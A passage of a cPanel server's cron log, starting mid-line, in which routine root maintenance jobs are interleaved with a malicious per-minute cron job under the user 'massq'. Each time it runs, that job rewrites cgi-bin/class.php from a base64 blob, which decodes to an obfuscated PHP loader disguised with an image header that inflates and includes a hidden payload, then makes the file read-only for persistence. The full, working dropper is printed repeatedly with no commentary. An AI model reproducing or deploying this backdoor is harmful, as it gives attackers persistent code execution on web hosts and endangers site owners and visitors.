UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 21:06:01 server CROND[31958]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 21:06:01 server CROND[31957]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 21:06:01 server CROND[31959]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 21:07:01 server CROND[32337]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 21:07:01 server CROND[32338]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 21:07:01 server CROND[32339]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 21:08:01 server CROND[32717]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 21:08:01 server CROND[32718]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 21:08:01 server CROND[32719]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 21:09:01 server CROND[673]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 21:09:01 server CROND[674]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 21:09:01 server CROND[676]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  7 21:09:01 server CROND[675]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 21:10:01 server CROND[1176]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 21:10:01 server CROND[1177]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 21:10:01 server CROND[1182]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 21:10:01 server CROND[1187]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 21:10:01 server CROND[1184]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 21:10:01 server CROND[1190]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 21:10:01 server CROND[1183]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 21:10:01 server CROND[1185]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 21:11:01 server CROND[2206]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 21:11:01 server CROND[2207]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 21:11:01 server CROND[2205]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 21:12:01 server CROND[2604]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 21:12:01 server CROND[2606]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 21:12:01 server CROND[2607]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 21:12:01 server CROND[2605]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 21:13:02 server CROND[3027]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 21:13:02 server CROND[3028]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 21:13:02 server CROND[3029]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 21:14:01 server CROND[3438]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 21:14:01 server CROND[3439]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 21:14:01 server CROND[3440]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 21:15:01 server CROND[3827]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 21:15:01 server CROND[3833]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 21:15:01 server CROND[3834]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 21:15:01 server CROND[3835]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 21:15:01 server CROND[3836]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  7 21:15:01 server CROND[3839]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 21:15:01 server CROND[3840]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 21:15:01 server CROND[3838]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 21:16:01 server CROND[4845]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 21:16:01 server CROND[4846]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 21:16:01 server CROND[4847]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 21:17:01 server CROND[5229]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 21:17:01 server CROND[5230]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 21:17:01 server CROND[5232]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
